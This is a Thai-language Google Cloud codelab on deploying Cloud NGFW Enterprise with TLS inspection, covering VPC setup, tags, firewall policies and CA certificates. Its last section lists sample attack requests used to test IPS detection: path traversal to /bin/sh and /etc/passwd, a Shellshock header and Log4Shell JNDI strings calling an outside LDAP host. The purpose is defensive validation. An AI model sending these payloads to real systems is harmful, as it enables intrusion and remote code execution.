Cloud NGFW Enterprise Codelab [w/ TLS Inspection]

1. บทนำ

ไฟร์วอลล์รุ่นถัดไปของ Cloud (NGFW)

Cloud Next Generation คือบริการไฟร์วอลล์ที่มีการกระจายอย่างเต็มรูปแบบ ซึ่งมีความสามารถในการป้องกันขั้นสูง การแบ่งส่วนเล็กๆ และการครอบคลุมในวงกว้าง เพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก

Cloud NGFW มีประโยชน์ดังต่อไปนี้

  • บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้โฮสต์แบบเก็บสถานะและกระจายโดยสมบูรณ์บนภาระงานแต่ละรายการเพื่อเปิดใช้สถาปัตยกรรมความปลอดภัยแบบ Zero Trust
  • การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW ใช้นโยบายเครือข่ายและไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นของทรัพยากรได้ นโยบายเหล่านี้ให้ประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
  • การควบคุมแบบละเอียดและการแบ่งส่วนไมโคร: การใช้นโยบายไฟร์วอลล์ร่วมกับแท็กที่จัดการโดย Identity and Access Management (IAM) จะช่วยควบคุมการรับส่งข้อมูลทั้งจากเหนือ-ใต้ และตะวันตกถึงตะวันตกอย่างละเอียด ไปจนถึง VM เดียวทั่วทั้งเครือข่ายและองค์กรของ Virtual Private Cloud (VPC)

Cloud NGFW มีให้บริการในระดับต่อไปนี้

  • ข้อมูลสำคัญเกี่ยวกับไฟร์วอลล์สำหรับ Cloud Next Generation
  • มาตรฐานไฟร์วอลล์ของ Cloud Next Generation
  • องค์กรไฟร์วอลล์รุ่นถัดไปของ Cloud

องค์กร NGFW ระบบคลาวด์

Cloud NGFW Enterprise เพิ่มบริการป้องกันการบุกรุก (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงในไฟล์ Google Cloud ไฟร์วอลล์ที่กระจายตัวอยู่ การตรวจสอบ TLS มีไว้เพื่ออนุญาตให้ตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS

ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบ Layer 7 Next Generation Firewall (NGFW) ที่เชื่อถือได้ด้วยการควบคุมแบบละเอียด โดยไม่ต้องเปลี่ยนแปลงสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง

หากต้องการเปิดใช้งานและทำให้การควบคุมไฟร์วอลล์ใน Layer 7 ใช้งานได้ด้วย IPS คุณต้องดำเนินการต่อไปนี้

  • สร้างชุดปลายทางไฟร์วอลล์ระดับโซนที่มีการจัดการของ Google Cloud
  • สร้างนโยบายการตรวจสอบ TLS (ไม่บังคับ)
  • เลือกสร้างการกำหนดค่าความน่าเชื่อถือ
  • เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการบริการ Cloud NGFW Enterprise
  • ทำการเปลี่ยนแปลงง่ายๆ กับนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่ เพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ

นโยบายไฟร์วอลล์ของเครือข่าย

นโยบายไฟร์วอลล์ของเครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์ของเครือข่ายจะไม่มีการบังคับใช้นโยบายที่ใดเลยจนกว่านโยบายจะเชื่อมโยงกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายจะมีนโยบายไฟร์วอลล์ของเครือข่ายเชื่อมโยงอยู่ได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเรียกเพียงแท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุข้อมูลประจำตัวให้กับภาระงานได้

การแชร์นโยบายไฟร์วอลล์ของเครือข่ายข้ามเครือข่ายและการผสานรวมกับแท็กที่ควบคุมโดย IAM จะช่วยให้การกำหนดค่าและการจัดการไฟร์วอลล์ง่ายขึ้นมาก

หลังจากเริ่มใช้นโยบายไฟร์วอลล์ของเครือข่าย ปัจจุบันนโยบายไฟร์วอลล์ของ Google Cloud จะประกอบไปด้วยคอมโพเนนต์ต่อไปนี้

  1. นโยบายไฟร์วอลล์แบบลำดับชั้น
  2. กฎไฟร์วอลล์ VPC
  3. นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและภูมิภาค)

นโยบายไฟร์วอลล์แบบลำดับชั้นได้รับการรองรับที่โหนดองค์กรและโฟลเดอร์ภายในลำดับชั้นทรัพยากร ขณะที่จะมีการใช้กฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายที่ระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายคือ กฎไฟร์วอลล์ของ VPC จะใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ในขณะที่นโยบายไฟร์วอลล์เครือข่ายอาจแนบอยู่กับ VPC เดียวหรือกลุ่มของ VPC รวมถึงประโยชน์อื่นๆ เช่น การอัปเดตเป็นกลุ่ม

สุดท้าย เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทั้งหมด ดังนี้

  • กฎข้อมูลขาออกที่การดำเนินการอนุญาต ปลายทางคือ 0.0.0.0/0
  • กฎขาเข้าที่ปฏิเสธการดำเนินการ แหล่งที่มาคือ 0.0.0.0/0

โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

21b3bcabc469ffe.png

โปรดทราบว่าลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายทั่วโลกสามารถสลับได้ ลูกค้าระบุคำสั่งบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud

แท็ก

แท็กใหม่ที่ผสานรวมอยู่ในกฎของนโยบายไฟร์วอลล์เครือข่ายเป็นทรัพยากรคู่คีย์-ค่าที่กำหนดในองค์กรหรือระดับโปรเจ็กต์ของลำดับชั้นทรัพยากรของ Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ที่ระบุว่าใครทำอะไรในแท็กได้ ตัวอย่างเช่น สิทธิ์ Idenity and Access Management (IAM) ให้ผู้ใช้ระบุผู้ใช้หลักที่สามารถกำหนดค่าให้กับแท็กได้ และผู้ใช้หลักรายใดสามารถแนบแท็กกับทรัพยากรได้ หากกฎไฟร์วอลล์ของเครือข่ายอ้างอิงถึงแท็ก จะต้องใช้แท็กดังกล่าวกับทรัพยากรเพื่อบังคับใช้

แท็กเป็นไปตามโมเดลทรัพยากรการสืบทอดของ Google Cloud ซึ่งหมายความว่าแท็กและค่าของแท็กจะส่งผ่านลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ แท็กอาจสร้างขึ้นในที่เดียว จากนั้นโฟลเดอร์และโปรเจ็กต์อื่นๆ อาจใช้ทั่วทั้งลำดับชั้นทรัพยากร ไปที่หน้านี้เพื่อดูรายละเอียดเกี่ยวกับแท็กและการจํากัดการเข้าถึง

ไม่ควรสับสนแท็กกับแท็กเครือข่าย รายการหลังเป็นสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ ที่เชื่อมโยงกับอินสแตนซ์และจะหายไปเมื่ออินสแตนซ์เลิกใช้งานแล้ว กฎของไฟร์วอลล์ VPC อาจรวมแท็กเครือข่ายได้ แต่เนื่องจากกฎเหล่านี้ไม่ถือว่าเป็นทรัพยากรระบบคลาวด์ จึงไม่ได้อยู่ภายใต้การควบคุมการเข้าถึง IAM

โปรดทราบว่ามีการใช้แท็กและแท็กที่ควบคุม IAM สลับกันในเอกสารนี้

สิ่งที่คุณจะสร้าง

Codelab นี้ต้องใช้โปรเจ็กต์และความสามารถในการสร้างเครือข่าย VPC รายการเดียว รวมถึงต้องจัดการเครือข่ายและทรัพยากรการรักษาความปลอดภัยจำนวนหนึ่ง คู่มือดังกล่าวจะสาธิตวิธีที่ Cloud NGFW Enterprise มอบฟังก์ชันการทำงานของ IPS ได้ดังนี้

  • การตรวจสอบโฟลว์อินเทอร์เน็ตทิศเหนือด้วยการตรวจสอบ TLS
  • การตรวจสอบโฟลว์ภายใน VPC [ตะวันออก-ตะวันตก] ด้วยการตรวจสอบ TLS

ระบบจะเลือกขั้นตอนที่ต้องตรวจสอบโดยใช้พารามิเตอร์การจับคู่ Cloud ไฟร์วอลล์ ซึ่งได้แก่ 5-Tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก

3d0f288d3b92a295.png

สถานะปลายทางของฐานกฎของนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง

ลำดับความสำคัญ

ทิศทาง

Target

แหล่งที่มา

ปลายทาง

การดำเนินการ

ประเภท

100

ขาเข้า

Server_Tag

การตรวจสอบประสิทธิภาพการทำงาน

ตามแต่ละประเทศ

อนุญาต

Essentials

200

ขาเข้า

Client_Tag, Server_Tag

IAP

ตามแต่ละประเทศ

อนุญาต

Essentials

800

ขาเข้า

Server_Tag

10.0.0.0/24

10.0.0.0/24

การตรวจสอบ L7

Enterprise

850

ขาออก

Client_Tag

ตามแต่ละประเทศ

10.0.0.0/24

อนุญาต

Essentials

900

ขาออก

Client_Tag

ตามแต่ละประเทศ

ตามแต่ละประเทศ

การตรวจสอบ L7

Enterprise

สิ่งที่คุณจะได้เรียนรู้

  • วิธีสร้างนโยบายไฟร์วอลล์ของเครือข่าย
  • วิธีสร้างและใช้แท็กกับนโยบายไฟร์วอลล์ของเครือข่าย
  • วิธีกำหนดค่าและใช้ Cloud NGFW Enterprise กับการตรวจสอบ TLS

สิ่งที่คุณต้องมี

  • โปรเจ็กต์ Google Cloud
  • ความรู้ในการทำให้อินสแตนซ์ใช้งานได้และการกำหนดค่าคอมโพเนนต์เครือข่าย
  • ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC

2. ก่อนเริ่มต้น

สร้าง/อัปเดตตัวแปร

Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell

ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลในวงเล็บเหลี่ยมตามที่กำหนดไว้

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. เปิดใช้ API

เปิดใช้ API หากยังไม่ได้เปิดใช้

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. การสร้างปลายทาง Cloud NGFW Enterprise

เนื่องจากการสร้างปลายทาง Cloud NGFW Enterprise จะใช้เวลาประมาณ 20 นาที ระบบจึงสร้างอุปกรณ์ดังกล่าวก่อน และคุณจะตั้งค่าพื้นฐานได้พร้อมกันระหว่างที่กำลังสร้างปลายทาง

วิธีสร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

เอาต์พุตที่คาดไว้:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

ยืนยันว่าสร้างทรัพยากรเรียบร้อยแล้ว โดยทำดังนี้

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

เอาต์พุตที่ต้องการ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

สร้างปลายทาง Cloud NGFW Enterprise ด้วยคำสั่งต่อไปนี้

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่ากำลังสร้างปลายทาง (CREATING)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

เอาต์พุตที่ต้องการ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

ขั้นตอนการสร้างจะใช้เวลาประมาณ 20 นาที ดำเนินการต่อในหัวข้อการตั้งค่าฐานเพื่อสร้างทรัพยากรที่จำเป็นพร้อมกัน

5. การตั้งค่าฐาน

เครือข่ายและซับเน็ต VPC

เครือข่ายและซับเน็ต VPC

สร้างเครือข่าย VPC และซับเน็ตดังต่อไปนี้

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

สร้างเราเตอร์ระบบคลาวด์และเกตเวย์ Cloud NAT ดังนี้

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

อินสแตนซ์

สร้างอินสแตนซ์ของไคลเอ็นต์และเว็บเซิร์ฟเวอร์

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

แท็กระดับโปรเจ็กต์

ให้สิทธิ์ tagAdmin แก่ผู้ใช้หากจําเป็น ดังนี้

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

สร้างคีย์และค่าของแท็กระดับโปรเจ็กต์

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

เชื่อมโยงแท็กกับอินสแตนซ์ดังนี้

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

นโยบายไฟร์วอลล์ของเครือข่ายทั่วโลก

สร้างนโยบายไฟร์วอลล์ของเครือข่ายทั่วโลก

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

สร้างกฎการเก็บรักษาของ Cloud Firewall ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลจากช่วงการตรวจสอบประสิทธิภาพการทำงานและ identity-aware Proxy

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

สร้างกฎของ Cloud Firewall ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลขาเข้าตะวันออก-ตะวันตก/ภายในซับเน็ตจากช่วงที่ระบุ (กฎเหล่านี้จะได้รับการอัปเดตเพื่อเปิดใช้ Cloud NGFW Enterprise ที่มีการตรวจสอบ TLS) ดังนี้

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC ดังนี้

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. การเชื่อมโยงปลายทาง Cloud ไฟร์วอลล์

กำหนดตัวแปรสภาพแวดล้อมในกรณีที่คุณยังไม่ได้ดำเนินการ และ/หรือเลือกใช้สคริปต์ก่อน

ยืนยันว่าการสร้างปลายทาง Cloud ไฟร์วอลล์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือ กำลังสร้าง) ดังนี้

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

เอาต์พุตที่ต้องการ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

เชื่อมโยงปลายทาง Cloud ไฟร์วอลล์กับเครือข่าย VPC ดังนี้

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

ขั้นตอนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อไปยังส่วน TLS ต่อเมื่อสถานะแสดงเป็น ACTIVE (ระหว่างการสร้าง สถานะที่คาดไว้คือ กำลังสร้าง) ดังนี้

gcloud network-security firewall-endpoint-associations list

เอาต์พุตที่คาดไว้เมื่อเสร็จสมบูรณ์แล้ว:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. กำหนดค่าทรัพยากร TLS

สร้างพูล CA ทรัพยากรนี้จะใช้เพื่อเก็บใบรับรอง Root CA ที่เราสร้างให้กับ NGFW Enterprise

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

สร้าง CA รูท นี่คือใบรับรอง CA ที่จะใช้สำหรับการลงนามใบรับรองเพิ่มเติมสำหรับคำขอผ่าน NGFW Enterprise

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

หากได้รับข้อความด้านล่าง ให้ตอบว่า y

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

สร้างบัญชีบริการ บัญชีบริการนี้จะใช้เพื่อขอใบรับรองสำหรับ NGFW Enterprise

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

กำหนดสิทธิ์ IAM สำหรับบัญชีบริการ ดังนี้

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

สร้างไฟล์ YAML นโยบาย TLS ไฟล์นี้จะประกอบด้วยข้อมูลเกี่ยวกับทรัพยากรเฉพาะต่างๆ:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

นำเข้านโยบายการตรวจสอบ TLS ดังนี้

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

อัปเดตการเชื่อมโยงปลายทางเพื่อเปิดใช้ TLS โดยทำตามขั้นตอนต่อไปนี้

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

รับใบรับรอง CA แล้วเพิ่มไปยังที่เก็บ CA ของไคลเอ็นต์:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

วิธีโอนใบรับรอง CA ไปยังไคลเอ็นต์

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH ไปยัง VM จากนั้นย้ายใบรับรอง CA ไปยัง /usr/local/share/ca-certificates และอัปเดตที่เก็บ CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ออกกลับไปที่ Cloudshell

กระบวนการลงชื่อในใบรับรองเซิร์ฟเวอร์:

บน Cloudshell ให้ติดตั้งไลบรารีการเข้ารหัส Pyca โดยใช้คำสั่ง PIP ดังนี้

pip install --user "cryptography>=2.2.0"

หากต้องการอนุญาตให้ Google Cloud SDK ใช้ไลบรารีการเข้ารหัส Pyca คุณต้องเปิดใช้แพ็กเกจเว็บไซต์

export CLOUDSDK_PYTHON_SITEPACKAGES=1

สร้างใบรับรองเซิร์ฟเวอร์โดยทำดังนี้

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

ซึ่งจะสร้างไฟล์ cert.pem และ key.pem ใน Cloudshell จากนั้นให้โอนใบรับรองและคีย์ไปยังเซิร์ฟเวอร์

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH ไปยังเซิร์ฟเวอร์เพื่ออัปเดตรายละเอียดใบรับรองสำหรับ Apache

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

วิธีย้ายใบรับรองและคีย์ไปยังโฟลเดอร์ที่ต้องการ

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

อัปเดตการกำหนดค่า SSL เพื่อใช้ใบรับรองที่ลงชื่อแล้ว

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

รีสตาร์ท Apache

sudo systemctl restart apache2

ยืนยันสถานะ Apache

sudo systemctl status apache2

อุปกรณ์ควรใช้งานอยู่ (กำลังทำงาน)

ออกจาก VM และดำเนินการต่อบน Cloudshell

8. ตรวจสอบการเชื่อมต่อแบบ Northbound และ E/W

เรียกใช้คำสั่งด้านล่างใน Cloud Shell และจดบันทึก IP เป้าหมายที่จะใช้

gcloud compute instances list --filter="name=($prefix-$zone-www)"

เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ของไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรในแท็บใหม่) ดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

เรียกใช้คำสั่งด้านล่างและจดบันทึก IP เป้าหมายที่จะใช้ สร้างตัวแปรแทนที่ค่าภายในวงเล็บด้วย IP ที่ระบุจากขั้นตอนก่อนหน้า แล้วตรวจสอบว่าตัวแปรดังกล่าวเข้าถึงได้ ดังนี้

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ปิด IP ส่วนตัวและตรวจสอบว่า IP ดังกล่าวเข้าถึงได้ ดังนี้

curl https://$target_privateip --max-time 2

ผลลัพธ์ที่คาดหวังสำหรับคำขอ curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

ส่งตัวอย่างการโจมตีไปยัง IP เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมด โดยยืนยันว่าไม่มีการตรวจสอบ/การป้องกัน L7 ดังนี้

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

ตัวอย่างผลลัพธ์ที่คาดหวัง (IP ส่วนตัว):

400
404
400
200
200

ในทำนองเดียวกัน ให้ส่งคำขอไปยังปลายทางอินเทอร์เน็ต

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

